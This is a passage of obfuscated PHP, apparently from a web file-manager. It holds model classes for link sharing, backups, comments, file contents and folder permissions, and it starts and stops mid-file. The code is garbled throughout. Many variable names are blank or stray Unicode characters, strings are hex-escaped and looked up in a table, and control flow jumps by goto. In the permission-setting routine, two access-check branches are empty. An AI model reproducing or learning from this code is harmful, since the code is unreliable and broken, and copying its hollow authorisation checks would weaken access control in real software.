IO::info($ͫޯ[$ם[1222]]); } else { $ͫޯ[$ם[89]] = Model($ם[1380])->pathInfo($ͫޯ[$ם[183]]); } $ͫޯ[$ם[2043]] = $ۨ; return $ͫޯ; } protected function getInfoAuth($) { $֛Ժ =& $_SERVER[ʇ]; $ = $this->getInfo($); if ($[$֛Ժ[1701]] == USER_ID) { $[$֛Ժ[457]] = $[$֛Ժ[89]][$֛Ժ[457]]; } else { $[$֛Ժ[457]] = Model($֛Ժ[538])->authMake($[$֛Ժ[2043]]); } return $; } protected function listData($ = null, $֋ = 300) { $ =& $_SERVER[ʇ]; $ؚ = array(array($[533] => array($[1059], 0), $[633] => array($[1059], 0), $[2044] => $[1997])); if ($ == $[2045]) { $ؚ = array($[533] => 1); } else { if ($ == $[1208]) { $ؚ = array($[633] => 1); } } $ؚ[$[1701]] = USER_ID; $ = $this->where($ؚ)->selectPage($֋); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[ʇ]; $ = Model($[2046])->userGroupParents(USER_ID); $̀ = array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID); if ($) { $̀ = array(array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID), array($[618] => SourceModel::TYPE_GROUP, $[540] => array($[7], $)), $[2044] => $[1997]); } $· = Model($[636])->where($̀)->selectPage($); $޷ = array_to_keyvalue_group($·[$[415]], $[635]); if (!$޷) { return $·; } $ = $[2047]; $̀ = array($[635] => array($[462], array_keys($޷)), $[1701] => array($[1061], $[214])); $û = $this->field($)->where($̀)->select(); foreach ($û as $㜵 => &$ݎ) { $ݎ[$[2043]] = $޷[$ݎ[$[635]]]; } unset($ݎ); $Ɣ = array($[2048] => $û, $[2049] => $·[$[412]]); return $Ɣ; } protected function shareAdd($ڤÐ, $ӭ) { $ =& $_SERVER[ʇ]; $ν = $this->_addShareData($ڤÐ, $ӭ); if (!empty($ӭ[$[2050]])) { $this->_shareAuthSet($ν, $ӭ[$[2050]]); } $this->shareEventAdd($ڤÐ, $ӭ, $[2051]); return $ν; } protected function shareAddSystem($, $֠) { $ =& $_SERVER[ʇ]; $Õ = $this->_addShareData($, $֠, $[181]); $this->_shareAuthSet($Õ, $֠[$[2050]]); return $Õ; } private function shareEventAdd($Ҝ, $, $ = "\x61\x64\144") { $܇ =& $_SERVER[ʇ]; if (!$Ҝ || $Ҝ == $܇[214]) { return; } if ($ == $܇[2051]) { if ($[$܇[533]] == $܇[90]) { Model($܇[603])->eventShare($Ҝ, $܇[2052]); } if ($[$܇[633]] == $܇[90]) { Model($܇[603])->eventShare($Ҝ, $܇[2053]); } return; } $Γ = $this->getInfoByPath($Ҝ); $炻 = $܇[2054]; if ($Γ[$܇[533]] == $܇[214] && $[$܇[533]] == $܇[90]) { $炻 = $܇[2052]; } if ($Γ[$܇[533]] == $܇[90] && $[$܇[533]] == $܇[214]) { $炻 = $܇[2055]; } if ($Γ[$܇[633]] == $܇[214] && $[$܇[633]] == $܇[90]) { $炻 = $܇[2053]; } if ($Γ[$܇[633]] == $܇[90] && $[$܇[633]] == $܇[214]) { $炻 = $܇[2056]; } Model($܇[603])->eventShare($Ҝ, $炻); return; } private function _addShareData($߰, $ޙ婣 = array(), $ = false) { $ =& $_SERVER[ʇ]; $Ϳ = $ == $[181] ? 0 : USER_ID; $ = array($[461] => $߰, $[1692] => $Ϳ); if ($߰ == 0) { $ = array($[2057] => $ޙ婣[$[1222]], $[1692] => $Ϳ); } if ($ = $this->where($)->find()) { return $[$[635]]; } if ($߰ == 0) { $֋ƽ = array($[32] => get_path_this($ޙ婣[$[86]])); } else { $֋ƽ = Model($[871])->sourceInfo($߰); if (!$֋ƽ) { return !1; } } if (!$ޙ婣[$[1591]]) { $ޙ婣[$[1591]] = $֋ƽ[$[32]]; } $֔ = array($[1692] => $Ϳ, $[461] => $߰, $[1591] => $[12], $[533] => 0, $[633] => 0, $[1222] => $[12], $[353] => $[12], $[936] => $[12], $[2058] => 0, $[2059] => 0, $[800] => 0, $[2060] => $[12], $[2041] => $[12]); $֋ = explode($[50], $[2061]); foreach ($֋ as $) { if (!isset($ޙ婣[$])) { continue; } $֔[$] = $ޙ婣[$]; } $ = $this->add($֔); $ = array($[2041] => short_id($)); $this->where(array($[2062] => $))->save($); return $; } private function _shareAuthSet($Ǔ, $Β) { $ =& $_SERVER[ʇ]; if (!is_array($Β)) { return !1; } $Ϻ = Model($[2007]); $Ϻ->where(array($[635] => $Ǔ))->delete(); $ = array(); foreach ($Β as $ٹ) { $ = SourceModel::TYPE_USER; if ($ٹ[$[180]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $㺤 = array($[635] => $Ǔ, $[180] => $, $[540] => intval($ٹ[$[540]]), $[2003] => 0, $[2063] => -1); if ($ٹ[$[2003]]) { $㺤[$[2003]] = $ٹ[$[2003]]; } else { if ($ٹ[$[2063]]) { $㺤[$[2063]] = $ٹ[$[2063]]; } } $[] = $㺤; } return $Ϻ->addAll($, array(), !0); } public function numViewAdd($ٵ) { $ =& $_SERVER[ʇ]; $ܘ߲ = array($[2062] => $ٵ); $this->where($ܘ߲)->setAdd($[2058]); } public function numDownloadAdd($ټɎ) { $Nj =& $_SERVER[ʇ]; $ = array($Nj[2062] => $ټɎ); $this->where($)->setAdd($Nj[2059]); } protected function shareEdit($, $) { $ =& $_SERVER[ʇ]; $Ǚ = $this->getInfo($); if (!$Ǚ) { return !1; } $this->_checkLinkShare($, $Ǚ); $ = array(); $Ƕ = explode($[50], $[2064]); foreach ($Ƕ as $ѿڈ) { if (!array_key_exists($ѿڈ, $)) { continue; } $[$ѿڈ] = $[$ѿڈ]; } $this->shareEventAdd($Ǚ[$[183]], $, $[1869]); $this->where(array($[2062] => $))->save($); if (isset($[$[2050]])) { $this->_shareAuthSet($, $[$[2050]]); } return !0; } private function _checkLinkShare($, $꧁) { $ڤ =& $_SERVER[ʇ]; if ($[$ڤ[533]] != $ڤ[90]) { return; } $ = $꧁[$ڤ[89]][$ڤ[183]]; if ($꧁[$ڤ[89]][$ڤ[33]] != $ڤ[216]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($ڤ[2065]) . $ڤ[2066] . $, !1); } $Ֆ = Model($ڤ[871])->fileInfoGet($꧁[$ڤ[89]][$ڤ[183]]); if (!$Ֆ) { return; } $伴 = $this->shareFileMeta($Ֆ[$ڤ[511]]); if (isset($伴[$ڤ[420]]) && $伴[$ڤ[420]] == $ڤ[90]) { show_json(LNG($ڤ[2067]), !1); } } private function _folderReport($篲) { $ =& $_SERVER[ʇ]; $ƙ = array($[511] => array($[1059], 0), $[789] => 3); $Ⱥ = Model($[2068])->where($ƙ)->field($[511])->select(); if (!$Ⱥ) { return !1; } $Ⱥ = array_to_keyvalue($Ⱥ, $[12], $[511]); $ = $[50] . $篲 . $[50]; $ƙ = array($[511] => array($[7], $Ⱥ), $[555] => array($[429], "\45{$}\45"), $[475] => 0); $ = Model($[871])->where($ƙ)->field($[2069])->find(); if (!$) { return !1; } $Υ = substr($[$[555]], strpos($[$[555]], $)); $ƙ = array($[183] => array($[7], trim($Υ, $[50]))); $Ԛ = Model($[871])->where($ƙ)->field($[32])->select(); $ن = array_to_keyvalue($Ԛ, $[12], $[32]); $ن[] = $[$[32]]; return implode($[8], $ن); } protected function remove($ᴐ) { $ϙ =& $_SERVER[ʇ]; if (is_array($ᴐ)) { $ᴐ = array($ϙ[7], $ᴐ); } $۪ = array($ϙ[635] => $ᴐ); $ď = $this->where($۪)->delete(); if ($ď) { Model($ϙ[636])->where(array($ϙ[635] => $ᴐ))->delete(); } $ = is_array($ᴐ) ? $ᴐ[1] : array($ᴐ); for ($„ = 0; $„ < count($); $„++) { $ = $this->getInfo($[$„]); if ($[$ϙ[633]] == $ϙ[90]) { Model($ϙ[603])->eventShare($[$ϙ[183]], $ϙ[2056]); } if ($[$ϙ[533]] == $ϙ[90]) { Model($ϙ[603])->eventShare($[$ϙ[183]], $ϙ[2055]); } } return $ď; } protected function removeBySource($Ν„) { $ۼھ =& $_SERVER[ʇ]; $Đ = array($ۼھ[461] => array($ۼھ[462], $Ν„)); $៦ = $this->field($ۼھ[635])->where($Đ)->select(); $៦ = array_to_keyvalue($៦, $ۼھ[12], $ۼھ[635]); if (!$៦) { return; } $Đ = array($ۼھ[2062] => array($ۼھ[462], $៦)); $this->where($Đ)->delete(); Model($ۼھ[636])->where($Đ)->delete(); } public function listAll($ޟ) { $ =& $_SERVER[ʇ]; $ޢԦ = array(); if ($ޟ[$[1701]]) { $ޢԦ[$[1701]] = $ޟ[$[1701]]; } if ($ޟ[$[799]]) { $ = $ޟ[$[800]] ? $ޟ[$[800]] : strtotime(date($[2070])); $ޢԦ[$[217]] = array($[379], array($ޟ[$[799]], $)); } if ($ޟ[$[33]]) { $ޢԦ[$ޟ[$[33]]] = 1; } else { $ޢԦ[] = array($[533] => array($[1059], 0), $[633] => array($[1059], 0), $[2044] => $[1997]); } if ($ޟ[$[1993]]) { $ޢԦ[] = array($[2041] => $ޟ[$[1993]], $[1591] => array($[429], "\x25{$ޟ[$[1993]]}\x25"), $[2044] => $[1997]); } $ = $this->_makeOrder()->where($ޢԦ)->selectPage(20); if (empty($[$[415]])) { return array(); } $this->_listDataApply($[$[415]]); return $; } public function listDataApply($ق) { $this->_listDataApply($ق); return $ق; } private function _listDataApply(&$匄) { $ =& $_SERVER[ʇ]; $ = array_to_keyvalue($匄, $[12], $[1701]); $܁ = Model($[569])->userListInfo(array_unique($)); $б = array_to_keyvalue($匄, $[12], $[183]); $랶 = Model($[871])->sourceListInfo($б, !0); foreach ($匄 as $ => &$) { $ = $[$[1701]]; $[$[2071]] = $܁[$] ? $܁[$] : !1; $ = $[$[183]]; $[$[89]] = $랶[$] ? $랶[$] : !1; if ($[$[89]][$[475]] == $[90]) { unset($匄[$]); } if ($[$[89]] != $[214] && !$[$[89]]) { unset($匄[$]); } } unset($); $匄 = array_values($匄); } private function _makeOrder($쩂 = '') { $ =& $_SERVER[ʇ]; $ = array($[217], $[800], $[2058], $[2059]); $ = array($[493] => $[494], $[495] => $[496]); $ʔ = Input::get($[500], $[7], $[467], $); $ݘ = Input::get($[501], $[7], $[2072], array($[1990], $[495])); $ݘ = $[$ݘ]; $쩂 = $쩂 . "{$ʔ}\x20{$ݘ}"; return $this->order($쩂); } public function reportAdd($ʙ) { $ć =& $_SERVER[ʇ]; $ = array($ć[635] => $ʙ[$ć[635]], $ć[1701] => USER_ID); if (Model($ć[2068])->where($)->find()) { return !1; } $܎ = array($ć[635] => $ʙ[$ć[635]], $ć[1591] => $ʙ[$ć[1591]], $ć[183] => $ʙ[$ć[183]], $ć[511] => $ʙ[$ć[511]], $ć[1701] => USER_ID, $ć[33] => $ʙ[$ć[33]], $ć[496] => $ʙ[$ć[496]]); return Model($ć[2068])->add($܎); } public function reportList($) { $Ź =& $_SERVER[ʇ]; $ = array(); if ($[$Ź[799]]) { $ = $[$Ź[800]] ? $[$Ź[800]] : strtotime(date($Ź[2070])); $[$Ź[217]] = array($Ź[379], array($[$Ź[799]], $)); } if (isset($[$Ź[33]]) && in_array($[$Ź[33]], array($Ź[90], $Ź[480], $Ź[2073], $Ź[2074], $Ź[2075]))) { $[$Ź[33]] = $[$Ź[33]]; } if (isset($[$Ź[789]]) && in_array($[$Ź[789]], array($Ź[214], $Ź[90], $Ź[480], $Ź[2073]))) { $[$Ź[789]] = $[$Ź[789]]; } $ڥ = Input::get($Ź[501], $Ź[7], $Ź[2072], array($Ź[1990], $Ź[495])); $ = array($Ź[493] => $Ź[494], $Ź[495] => $Ź[496]); $ = $Ź[2076] . $[$ڥ]; $έ = Model($Ź[2068])->where($)->order($)->selectPage(20); if (empty($έ[$Ź[415]])) { return array(); } $Ōã = array_to_keyvalue_group($έ[$Ź[415]], $Ź[789], $Ź[635]); if (!empty($Ōã[0])) { $ = $Ōã[0]; $ = array($Ź[635] => array($Ź[7], $)); $ = $this->where($)->field($Ź[635])->select(); $ = array_to_keyvalue($, $Ź[12], $Ź[635]); $ӭ = array_diff($, $); if (!empty($ӭ)) { foreach ($έ[$Ź[415]] as $ܼҰ => $վ) { if (in_array($վ[$Ź[635]], $ӭ)) { unset($έ[$Ź[415]][$ܼҰ]); } } } } $this->_listDataApply($έ[$Ź[415]]); return $έ; } public function reportStatus($Ո) { $͋ =& $_SERVER[ʇ]; $֙ګ = array($͋[445] => $Ո[$͋[445]]); $ב = Model($͋[2068])->where($֙ګ)->field($͋[2077])->find(); if (!$ב) { return !1; } $ = array($͋[789] => $Ո[$͋[789]]); if ($Ո[$͋[789]] == $͋[2073] && $ב[$͋[789]] == $͋[2073]) { $[$͋[789]] = 0; } $ۿꐾ = Model($͋[2068])->where($֙ګ)->save($); if ($Ո[$͋[789]] == $͋[480]) { if ($ב[$͋[511]] != $͋[214] && $this->shareFileMeta($ב[$͋[511]])) { $this->shareFileMeta($ב[$͋[511]], 0); } $this->remove($ב[$͋[635]]); return !0; } if ($ۿꐾ && $Ո[$͋[789]] == $͋[2073]) { $נ = $[$͋[789]] == $͋[2073] ? 1 : 0; $this->shareFileMeta($ב[$͋[511]], $נ); $this->removeByFile($ב[$͋[511]]); } return $ۿꐾ; } private function removeByFile($) { $􄒯 =& $_SERVER[ʇ]; $ = Model($􄒯[871])->where(array($􄒯[511] => $))->field($􄒯[183])->select(); $ = array_to_keyvalue($, $􄒯[12], $􄒯[183]); $߽Ѓ = array($􄒯[183] => array($􄒯[7], $), $􄒯[533] => 1); $ = $this->where($߽Ѓ)->field($􄒯[635])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $􄒯[12], $􄒯[635]); $this->remove($); } private function shareFileMeta($ꁦ, $ = null) { $ɮ =& $_SERVER[ʇ]; $ = array($ɮ[511] => $ꁦ, $ɮ[96] => $ɮ[2078]); if (is_null($)) { return Model($ɮ[2079])->where($)->find(); } $[$ɮ[420]] = $; Model($ɮ[2079])->add($, array(), !0); } } goto C; B׸: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\x2e\142\141\143\x6b\x75\x70\x4c\151\163\x74"; public $field = array("\x69\x6f", "\156\141\155\145", "\x73\164\141\164\165\163", "\143\x6f\x6e\x74\x65\156\164", "\155\141\156\x75\x61\154", "\x72\x65\163\x75\154\164", "\x74\x69\155\145\x46\162\157\x6d", "\x74\151\x6d\145\124\157"); public function config() { $̶ =& $_SERVER[ʇ]; $֍˪ = Model($̶[809])->get($̶[819]); $֍˪ = json_decode($֍˪, !0); $֍˪ = is_array($֍˪) ? $֍˪ : array(); if (!isset($֍˪[$̶[793]])) { $֍˪[$̶[793]] = $̶[90]; } unset($֍˪[$̶[1671]]); Action($̶[1924])->taskInit(); Model($̶[1670])->cacheClear(); $̃ = $̶[1925]; $ = Model($̶[1926])->findByKey($̶[1689], $̃); if (!$) { $ = array(); } if (isset($[$̶[196]])) { $[$̶[196]] = json_decode($[$̶[196]], !0); } if (isset($֍˪[$̶[196]])) { $[$̶[196]][$̶[1674]] = $֍˪[$̶[196]]; unset($֍˪[$̶[196]]); } return array_merge($, $֍˪); } public function listData($Ý = false, $된 = "\155\x6f\144\x69\146\x79\x54\x69\x6d\x65", $ = false) { return parent::listData($Ý, $된, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[ʇ]; $ɗ = $this->listData($); if (!$ɗ || empty($ɗ[$[32]])) { return !0; } Task::kill($[818]); Task::kill($[846]); Task::kill($[855]); $瑉 = $ɗ[$[32]]; $ѯ̿ = TEMP_FILES . $[817] . $瑉 . $[8]; IO::remove($ѯ̿, !1); return $this->remove($); } public function remove($К) { $Ο = $this->listData($К); if (!$Ο) { return !0; } return $this->backupRemove($Ο); } private function backupRemove($) { parent::remove($[$_SERVER[ʇ][445]]); $ĊԽ = $this->backupPath($); IO::remove($ĊԽ, !1); return !0; } private function backupPath($ٌ) { $˜ތ =& $_SERVER[ʇ]; $ȣ = $ٌ[$˜ތ[32]]; $ˮڼ = Model($˜ތ[809])->get($˜ތ[810]); $Ϩ = substr(md5($˜ތ[811] . $ˮڼ . $ȣ), 0, 8); return "\173\x69\x6f\72{$ٌ[$˜ތ[790]]}\175\57\x64\141\164\141\x62\x61\163\x65\x2f\x62\141\143\153\x75\160\x2f" . $ȣ . $˜ތ[11] . $Ϩ; } public function start() { $ͳݾ =& $_SERVER[ʇ]; if ($GLOBALS[$ͳݾ[6]][$ͳݾ[91]][$ͳݾ[1927]] != $ͳݾ[90]) { return !0; } $ = $this->config(); if (!$ || $[$ͳݾ[1671]] != $ͳݾ[90]) { return !1; } $杪 = $this->process(); foreach ($杪 as $) { if ($) { return Task::restart($[$ͳݾ[445]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$ͳݾ[793]] == $ͳݾ[214]) { $ = $->file(); } } Backup::set(array($ͳݾ[789] => 1, $ͳݾ[800] => time())); return !0; } public function process() { $û =& $_SERVER[ʇ]; $릙 = array($û[796] => Task::get($û[818]), $û[801] => Task::get($û[846]), $û[216] => Task::get($û[855])); $ = !1; foreach ($릙 as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $û[1706], 0)); if (time() - $ > 7200) { Task::kill($[$û[445]]); $ = !0; $ = !1; } } } return $릙; } public function restore() { $ߢ =& $_SERVER[ʇ]; ActionCall($ߢ[1107], !0, 1); ActionCall($ߢ[1107], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\x6f\x6d\155\145\156\164"; protected $tableMeta = array("\x74\141\x62\x6c\x65\116\141\155\145" => "\x63\157\x6d\155\145\156\x74\137\155\145\x74\141", "\155\145\x74\141\106\x69\145\154\x64" => "\x63\157\155\155\145\156\164\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($̖) { $웨 =& $_SERVER[ʇ]; if ($̖[$웨[1928]]) { $ۖ = $this->where(array($웨[1929] => $̖[$웨[1928]]))->find(); if (!$ۖ || $ۖ[$웨[180]] != $̖[$웨[180]] || $ۖ[$웨[540]] != $̖[$웨[540]]) { return !1; } $this->where(array($웨[1929] => $̖[$웨[1928]]))->setAdd($웨[1930], 1); } $̖[$웨[1931]] = 0; $̖[$웨[1930]] = 0; $̖[$웨[789]] = 1; return $this->add($̖); } public function commentCount($֧, $ٮ, $С = false) { $׆ĭ =& $_SERVER[ʇ]; if (!$֧) { return array(); } if (is_string($֧) || is_int($֧)) { $֧ = array($֧); } $̤ = array($׆ĭ[540], $׆ĭ[1932] => $׆ĭ[536]); $ځʑ = array($׆ĭ[540] => array($׆ĭ[7], $֧), $׆ĭ[180] => $ٮ); if ($С) { $ځʑ[$׆ĭ[1701]] = $С; } $ = $this->field($̤)->where($ځʑ)->group($׆ĭ[540])->select(); return array_to_keyvalue($, $׆ĭ[540], $׆ĭ[536]); } public function starTarget($, $) { $֚ =& $_SERVER[ʇ]; $ = $ + self::TYPE_STAR_OFFSET; $ٗ򀫳 = array($֚[1701] => USER_ID, $֚[180] => $, $֚[540] => $); $ = $this->where($ٗ򀫳)->find(); if ($) { return $this->where(array($֚[445] => $[$֚[445]]))->delete(); } $뼕 = array($֚[1928] => 0, $֚[1701] => USER_ID, $֚[789] => 1, $֚[793] => $֚[12], $֚[180] => $, $֚[540] => $, $֚[1931] => 0, $֚[1930] => 0); return $this->add($뼕); } public function starTargetCount($􁫪, $) { $Ȫ =& $_SERVER[ʇ]; $ = $ + self::TYPE_STAR_OFFSET; $釬 = $this->commentCount($􁫪, $); $ĩٔ = $this->commentCount($􁫪, $, USER_ID); return array($Ȫ[1933] => $釬, $Ȫ[1934] => $ĩٔ); } public function starTargetUserList($Ō, $) { $Ɩ =& $_SERVER[ʇ]; $ = $Ō + self::TYPE_STAR_OFFSET; $ = array($Ɩ[540] => $, $Ɩ[180] => $); $޻ = $this->where($)->count(); $ = array($Ɩ[301] => $޻, $Ɩ[1935] => array()); if (!$޻) { return $; } $դ = $this->field($Ɩ[1701])->where($)->limit(500)->select(); $դ = array_to_keyvalue($դ, $Ɩ[12], $Ɩ[1701]); $[$Ɩ[1935]] = Model($Ɩ[548])->userListInfo($դ); return $; } public function prasiseUserList($) { $ҏ =& $_SERVER[ʇ]; $ٛ = array($ҏ[1936] => $); $տ = $this->where($ٛ)->find(); $֦ = _get($տ, $ҏ[1931], 0); $ = array($ҏ[301] => $֦, $ҏ[1935] => array()); if (!$֦) { return $; } $ = Model($ҏ[1937])->field($ҏ[1701])->where($ٛ)->limit(500)->select(); $ = array_to_keyvalue($, $ҏ[12], $ҏ[1701]); $[$ҏ[1935]] = Model($ҏ[548])->userListInfo($); return $; } public function remove($ߔߒ) { $֍ʹ =& $_SERVER[ʇ]; $ጃ = array($֍ʹ[1929] => $ߔߒ); $Ԭ = $this->where($ጃ)->find(); if ($Ԭ[$֍ʹ[1928]]) { $this->where(array($֍ʹ[1929] => $Ԭ[$֍ʹ[1928]]))->setAdd($֍ʹ[1930], -1); } return $this->where($ጃ)->delete(); } public function edit($, $) { $ݜԂߓ =& $_SERVER[ʇ]; $ = array($ݜԂߓ[1929] => $); return $this->where($)->save(array($ݜԂߓ[1938] => $)); } public function prasise($Ț) { $ =& $_SERVER[ʇ]; $ = Model($[1939]); $ = array($[1929] => $Ț, $[1692] => USER_ID); $Ǯ = $->where($)->find(); if (!$Ǯ) { $->add($); $ˋ͡ = $this->where(array($[1929] => $Ț))->setAdd($[1931], 1); } else { $->where($)->delete(); $ˋ͡ = $this->where(array($[1929] => $Ț))->setAdd($[1931], -1); } return $ˋ͡; } public function targetInfo($ܢ, $ʍʦ) { $ =& $_SERVER[ʇ]; $ = array($[618] => $ܢ, $[619] => $ʍʦ); $羬 = $this->where($)->count(); $ = "\122\x49\107\110\x54\40\x4a\117\111\116\x20{$this->tablePrefix}\143\x6f\155\155\x65\x6e\x74\137\160\162\141\151\163\145\x20\163\164\x61\x72\40\x6f\x6e\x20\x63\157\155\x6d\145\156\x74\x2e\143\x6f\x6d\155\x65\x6e\164\x49\x44\40\75\40\163\164\141\162\56\143\x6f\x6d\x6d\x65\x6e\x74\111\104"; $ݛ = $this->alias($[400])->where($)->join($, $[1940])->count(); $҈ = array($[1941] => $羬, $[1942] => $ݛ); return $҈; } public function listData($ܩ) { $ =& $_SERVER[ʇ]; if (isset($ܩ[$[1943]])) { if ($ܩ[$[1943]]) { $ܩ[$[1936]] = array($[1061], intval($ܩ[$[1943]])); } unset($ܩ[$[1943]]); } if (isset($ܩ[$[1944]])) { if ($ܩ[$[1944]]) { $ܩ[$[1936]] = array($[1058], intval($ܩ[$[1944]])); } unset($ܩ[$[1944]]); } return $this->_listData($ܩ); } private function _listData($) { $ =& $_SERVER[ʇ]; $Δ鑩 = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($Δ鑩[$[415]]); $this->_listAppendUser($Δ鑩[$[415]]); $this->_listAppendMeta($Δ鑩[$[415]]); return $Δ鑩; } private function _makeOrder() { $ =& $_SERVER[ʇ]; $ = array($[1931], $[1930], $[217]); $ɮ = Input::get($[500], $[7], $[467], $); $Ơ = Input::get($[501], $[7], $[1694], array($[1945], $[496])); $ݺ֊ = $ɮ . $[53] . $Ơ; return $this->order($ݺ֊); } private function _listAppendParent(&$س) { $♤ =& $_SERVER[ʇ]; $ = array_unique(array_to_keyvalue($س, $♤[12], $♤[1928])); $ = array_remove_value($, $♤[214]); if (!$) { return; } $ = $this->where(array($♤[1929] => array($♤[7], $)))->select(); $ = array_to_keyvalue($, $♤[1936]); foreach ($س as &$ٿ˯) { if (isset($[$ٿ˯[$♤[1928]]])) { $ٿ˯[$♤[1946]] = $[$ٿ˯[$♤[1928]]]; } } unset($ٿ˯); } private function _listAppendUser(&$ÎĖ) { $޷ =& $_SERVER[ʇ]; $ϵ = array_unique(array_to_keyvalue($ÎĖ, $޷[12], $޷[1701])); $ϵ = array_remove_value($ϵ, $޷[214]); if (count($ϵ) == 0) { return; } foreach ($ÎĖ as $) { if (isset($[$޷[1946]])) { $ϵ[] = $[$޷[1946]][$޷[1701]]; } } $ = Model($޷[569])->userListInfo($ϵ); foreach ($ÎĖ as &$) { $[$޷[632]] = $[$[$޷[1701]]]; if (isset($[$޷[1946]])) { $[$޷[1946]][$޷[632]] = $[$[$޷[1946]][$޷[1701]]]; } } unset($); } private function _listAppendMeta(&$̼) { $؏ =& $_SERVER[ʇ]; $ʾ = array_unique(array_to_keyvalue($̼, $؏[12], $؏[1936])); $ʾ = array_remove_value($ʾ, $؏[214]); if (!$ʾ) { return; } foreach ($̼ as $ۿ) { if (isset($ۿ[$؏[1946]])) { $ʾ[] = $ۿ[$؏[1946]][$؏[1936]]; } } $ۄ = $this->metaList($ʾ); if (!$ۄ) { return !1; } foreach ($̼ as &$ۿ) { $ۿ[$؏[509]] = $ۄ[$ۿ[$؏[1936]]]; if (isset($ۿ[$؏[1946]])) { $ۿ[$؏[1946]][$؏[509]] = $ۄ[$ۿ[$؏[1946]][$؏[1936]]]; } } unset($ۿ); } private function metaList($) { $ =& $_SERVER[ʇ]; if (!$) { return array(); } $鑑 = array($[1936] => array($[7], $)); $ = Model($[1947])->where($鑑)->select(); $ = array_to_keyvalue_group($, $[1936]); foreach ($ as $ވ => $苼) { $ = array(); foreach ($苼 as $) { $[$[$[96]]] = $[$[420]]; } $[$ވ] = $; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\157\x5f\146\151\x6c\145\137\143\x6f\x6e\164\x65\x6e\164\x73"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\x54\x69\155\x65", "\164\151\155\145", "\x69\156\163\x65\162\164", "\x66\165\x6e\143\x74\x69\157\x6e")); } goto f; C: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\x6f\165\x72\x63\145\x5f\x61\x75\x74\150"; public function getAuth($І) { $ȳ =& $_SERVER[ʇ]; $֔ = $this->sourceAuthSelect($І); $ = array(); $ȿ = array(); $ҽ = 2 << 25; foreach ($֔ as $) { $ = Model($ȳ[542])->listData($[$ȳ[2003]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$ȳ[180]] == SourceModel::TYPE_GROUP) { $ = $ҽ * 2; } if ($[$ȳ[180]] == SourceModel::TYPE_USER) { $ = $ҽ; } if ($[$ȳ[180]] == SourceModel::TYPE_USER && $[$ȳ[540]] == $ȳ[214]) { $ = 0; } $ȿ[] = $[$ȳ[457]] + $; } array_multisort($ȿ, SORT_DESC, $); return $; } public function sourceAuthSelect($ʵ㦨) { $ =& $_SERVER[ʇ]; static $۝ = array(); $Ĝ = is_array($ʵ㦨) ? !1 : !0; if ($Ĝ) { $ʵ㦨 = array($ʵ㦨); } $Őެ = array(); foreach ($ʵ㦨 as $ⱍ) { if (isset($۝[$ⱍ])) { $Őެ[$ⱍ] = $۝[$ⱍ]; } } if (count($Őެ) == count($ʵ㦨)) { return $Ĝ ? $Őެ[$ʵ㦨[0]] : $Őެ; } $ʟ = $[2080]; $ = array($[183] => array($[7], $ʵ㦨)); $ɿ = $this->field($ʟ)->order($[445])->where($)->select(); $𾴊 = array_to_keyvalue_group($ɿ, $[183]); foreach ($ʵ㦨 as $ⱍ) { $۝[$ⱍ] = $𾴊[$ⱍ] ? $𾴊[$ⱍ] : array(); } if ($Ĝ) { return $ɿ; } return $𾴊; } public function setAuth($뽤, $) { $Ň =& $_SERVER[ʇ]; $Ȥ = Model($Ň[1380])->sourceInfo($뽤); if (!$Ȥ) { return !1; } if ($Ȥ[$Ň[180]] != SourceModel::TYPE_GROUP) { return !1; } $ե = 1; $逳 = $Ȥ[$Ň[540]]; if ($逳 != $ե) { $Dz = array($Ň[1899] => $逳); $ǫ = Model($Ň[1989])->field($Ň[1701])->where($Dz)->select(); $ǫ = array_to_keyvalue($ǫ, $Ň[12], $Ň[1701]); } $˲ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ɮ = array(); foreach ($ as $𔡯) { if (!in_array($𔡯[$Ň[180]], $˲)) { show_json(LNG($Ň[2081]), !1); } if ($逳 != $ե) { if ($𔡯[$Ň[180]] == SourceModel::TYPE_GROUP) { } if ($𔡯[$Ň[540]] != 0 && !in_array($𔡯[$Ň[540]], $ǫ)) { } } if ($𔡯[$Ň[540]] == 0) { $𔡯[$Ň[180]] = SourceModel::TYPE_USER; } $ɮ[] = array($Ň[183] => $뽤, $Ň[180] => intval($𔡯[$Ň[180]]), $Ň[540] => intval($𔡯[$Ň[540]]), $Ň[2003] => intval($𔡯[$Ň[2003]]) ? intval($𔡯[$Ň[2003]]) : 0, $Ň[2063] => intval($𔡯[$Ň[2063]]) ? intval($𔡯[$Ň[2063]]) : -1); } $this->where(array($Ň[461] => $뽤))->delete(); $this->addAll($ɮ); return !0; } public function authClear($) { $ϟ =& $_SERVER[ʇ]; $ = Model($ϟ[1380])->sourceInfo($); $üЗ = array($); if ($[$ϟ[455]] == $ϟ[90]) { $Қʪ = array($ϟ[622] => array($ϟ[582], $[$ϟ[555]] . $ . $ϟ[583])); $üЗ = Model($ϟ[1380])->field($ϟ[461])->where($Қʪ)->getField($ϟ[183], !0); $üЗ[] = $; } $this->where(array($ϟ[461] => array($ϟ[462], $üЗ)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[ʇ]; $ = Model($[1380])->sourceInfo($); if ($[$[455]] != $[90]) { return $this->sourceListAuth(array($)); } if ($[$[180]] != SourceModel::TYPE_GROUP) { return array(); 